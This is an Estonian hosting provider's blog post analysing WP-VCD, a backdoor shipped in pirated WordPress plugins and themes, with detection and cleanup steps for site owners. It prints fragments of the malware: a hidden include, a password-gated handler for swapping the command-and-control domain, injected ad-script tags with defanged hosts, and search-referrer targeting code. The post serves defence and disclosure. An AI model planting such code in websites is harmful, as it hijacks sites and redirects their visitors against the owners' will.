---
title: "WP-VCD ehk eelpaigaldatud pahavaraga “tasuta” pluginad ja teemad"
canonical_url: "https://www.zone.ee/blogi/wp-vcd-ehk-eelpaigaldatud-pahavaraga-tasuta-pluginad-ja-teemad/"
post_type: "post"
published: "2018-08-03T11:21:00+00:00"
modified: "2018-08-03T11:21:00+00:00"
author: "Jaanus Putting"
featured_image: "https://www.zone.ee/static/sites/2/2018/08/fake-sales_sml.webp"
taxonomies:
  category:
    - name: "Tehniline"
      url: "https://www.zone.ee/blogi/category/tehniline/"
  post_tag:
    - name: "Pahavara"
      url: "https://www.zone.ee/blogi/tag/pahavara/"
    - name: "Turvalisus"
      url: "https://www.zone.ee/blogi/tag/turvalisus/"
    - name: "WordPress"
      url: "https://www.zone.ee/blogi/tag/wordpress/"
  skills:
    - name: "Edasijõudnule"
      url: "https://www.zone.ee/blogi/skill/edasijoudnule/"
    - name: "Spetsialistile"
      url: "https://www.zone.ee/blogi/skill/spetsialistile/"
---

# WP-VCD ehk eelpaigaldatud pahavaraga “tasuta” pluginad ja teemad

Hetkel on meie juures üle 70 WordPressi-saidi, mis omaniku tahte vastaselt külastajaid erinevatele saitidele edasi suunavad. Põhjuseks “tasuta kohast” saadud tasuline plugin või teema … millega käib kaasas pahavara ehk täpsemalt öeldes tagauks.

## Külastaja vaade

Toimub see kõik umbes nii:

- külastaja saabub otsimootori kaudu veebilehele;
- veebilehe koodi sokutatakse viited mujal asuvatele skriptidele;
- kasutaja brauseris käivitatud skript jääb ootama esimest klikki…;
- … ja avab uue brauserisaki, kus kuvatakse reklaami;
- ühtlasi salvestatakse brauserisse küpsised, mis mõeldud reklaami efektiivsuse mõõtmiseks ja tagavad ka selle, et ta saaks soovitud veebis mõnda aega segamatult klikkida.

Reklaamini jõuab kasutaja läbi mitme edasisuunamise, näiteks minule pakuti testis **laen\[.\]ee** ja **olybet\[.\]ee** saite, esimeseks sammuks mõlemal puhul **cobalten\[.\]com**:

![](https://www.zone.ee/static/sites/2/2018/08/redirects.png)

## Veebiomaniku vaade

Minule monitooringus silma hakanud saitide puhul on pahavaraks WP-VCD, mille paigaldus-skript sisaldub enamasti `class.plugin-modules.php` või `class.theme-modules.ph`p nimelises failis, mis on lisatud “nullitud” (*nulled*) ehk sisuliselt piraaditud tasulisele pluginale või teemale:

```
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>
```

> **Ääremärkus:** kuna WordPress ja teemad on GPL litsentsiga vaba tarkvara, siis juriidiliselt ei ole nende kopeerimine piraatlus sest ainus asi mille eest raha küsitakse on uuendused, teemade puhul ka eraldi autoriõiguse all olev kujundus. Aga kuna antud puhul toimub sinu veebi ülevõtmine piraatide poolt, siis otsustasin kasutada nimelt seda sõna.

![](https://www.zone.ee/static/sites/2/2018/08/fake-sales_sml.jpg)Golce &amp; Dabbana? Roolex? Sir! I haz very good price, only original fakes!See kood korraldab pahavara laiema paigalduse, nii näeb see välja pahavaraga WPML puhul:

```
2018-04-08 14:43 - ./wp-content/plugins/sitepress-multilingual-cms/inc/class.theme-modules.php
2018-04-08 14:43 - ./wp-content/themes/Avada-Child-Theme/functions.php
2018-04-08 14:43 - ./wp-content/themes/Avada/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyfifteen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentyseventeen/functions.php
2018-04-08 14:43 - ./wp-content/themes/twentysixteen/functions.php
2018-04-08 14:43 - ./wp-includes/wp-vcd.php
```

Ehk siis `/wp-includes/wp-vcd.php` saab oma sisuks paigalduskoodi ning selle käivitamiseks vajalik include läheb WP osaks oleva `/wp-includes/post.php` algusesse … ning `class.theme-modules.php` tehakse kenasti tühjaks, sealt ei tohiks hiljem vaadates enam midagi kahtlast märgata.

Lisaks paigaldatakse kõigi leitud teemade `functions.php` faili kood, mis võimaldab edaspidi lihtsalt muuta *command &amp; control* serveri domeeninime … ning saadetakse ülevõetud serveri andmed peremehele:

```
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxx'))
  {
$div_code_name="wp_vcd";
    switch ($_REQUEST['action'])
      {
        case 'change_domain';
          if (isset($_REQUEST['newdomain']))
```

Edaspidi märkab vaid kahe faili muutumist:

```
2018-07-28 00:07 - ./wp-includes/wp-tmp.php

2018-07-19 11:41 - ./wp-includes/wp-feed.php
```

`wp-tmp.php` failis hoitakse koodi mida peremees veebis kuvada soovib, nt:

```
<script type="text/javascript" src="//go.onclasrv[.]com/apu.php?zoneid=1635111"></script>
<script async="async" type="text/javascript" src="//go.mobisla[.]com/notice.php?p=1635222&interactive=1&pushup=1"></script>
<script src="//pushnest[.]com/ntfc.php?p=1662333" data-cfasync="false" async></script>
```

… ning `wp-feed.php` sisaldab adminnina sisse loginud kasutajate IP-aadresse – nii väldib pahavara seda, et saidi tegelik omanik kogemata reklaami näeks (lisaks läheb brauserisse ka vastav küpsis):

```
146.255.1xx.xxx
146.255.1xx.xxx
95.161.2xx.xxx
194.150.6x.xxx
146.255.1xx.xx
```

Ja kui siis veebi tuleb külastaja mõnest otsimootorist:

```
$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com');
foreach ($SE as $source) {
  if (strpos($ref,$source)!==false) {
    setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN);
	$sevisitor=true;
  }
}
```

… pannakse skriptid lehesappa ning märgitakse ta kaheks tunniks “ära reklaamituks”.

## Kuidas kontrollida?

Kuna pahad skriptid saavad kuvatud ainult juhul, kui tuled otsimootorist ja ei ole varem sama IP või brauseriga olnud adminnina sisse logitud… siis:

- kui oled adminnina varem sisse loginud – siis kasuta mobiiltelefoni internetti või mõnda wifi-võrku
- ava Google Chromes inkognito aken, tee hiirega paremklõps ja vali “Inspekteeri” (pärast võib ka see liigutus reklaami avada)
- googelda oma domeeni, siirdu lehele
- vaata inspektori Elements vaates lehe jaluses olevaid skripte… või proovi klikkida oma veebis suvalisse kohta ja vaata, kas satud kuhugi, kuhu ei plaaninud sattuda

Loomulikult võib ka vaadata FTPga serverisse – kui leiad `/wp-includes/wp-vcd.php` faili, siis on tegemist täpselt siinkirjeldatud pahavaraga.

## Koristaja vaade

Kuna ainus turvanõrkus on (loodetavasti) see piraat-teema või -plugin ning serveris toimuva muster näib olevat ühetaoline, ei tohiks puhastamine olla ülearu keeruline:

1. leia üles probleemne teema või plugin ja asenda see ametliku, puhta versiooniga (jah, see maksab raha – sest kellegi jaoks on selle valmistamine ja värskena hoidmine töö) – otsi `class.plugin-modules.php` või `class.theme-modules.php` nimelist faili
2. kustuta ära kõik kasutusel MITTE olevad teemad ja pluginad (lihtsam puhastada)
3. eemalda `/wp-includes` kataloogist `wp-feed.php`, `wp-tmp.php` ja `wp-vcd.php`; `post.ph`p algusest eemalda `include` käsk
4. käi üle teema(de) `functions.php` failid ning eemalda nende algusest kahtlane kood
5. vaata igaks juhuks [ctimer.php abil ega mõnda muud faili näpitud ole](https://www.zone.ee/blogi/2016/08/11/csi-kyber-faili-muutmise-aeg/)
6. turvakaalutlusel võiks ära vahetada ka: andmebaasiparooli, WP kasutajate paroolid ning `wp-config.php`‘s olevad [soolad](https://api.wordpress.org/secret-key/1.1/salt/)
7. … ning kui juba veebis oled, siis uuenda ära ka WP ja kõik pluginad-teemad (ning vii veeb HTTPS peale + vaheta PHP versioon värskeima toimiva vastu – ilmselt 7.1 või 7.2)

Kui koristamistegevus keeruline tundub, siis kirjuta info@zone.ee, maini WP-VCD probleemi ja telli meilt puhastustöö (mõnede levinumate pluginate nagu WPML puhul on meil olemas arendaja-litsents ja saame need kenasti ametlike/legaalsetega asendada, vähemlevinud pluginate puhul lisandub nende hind tööaja hinnale).
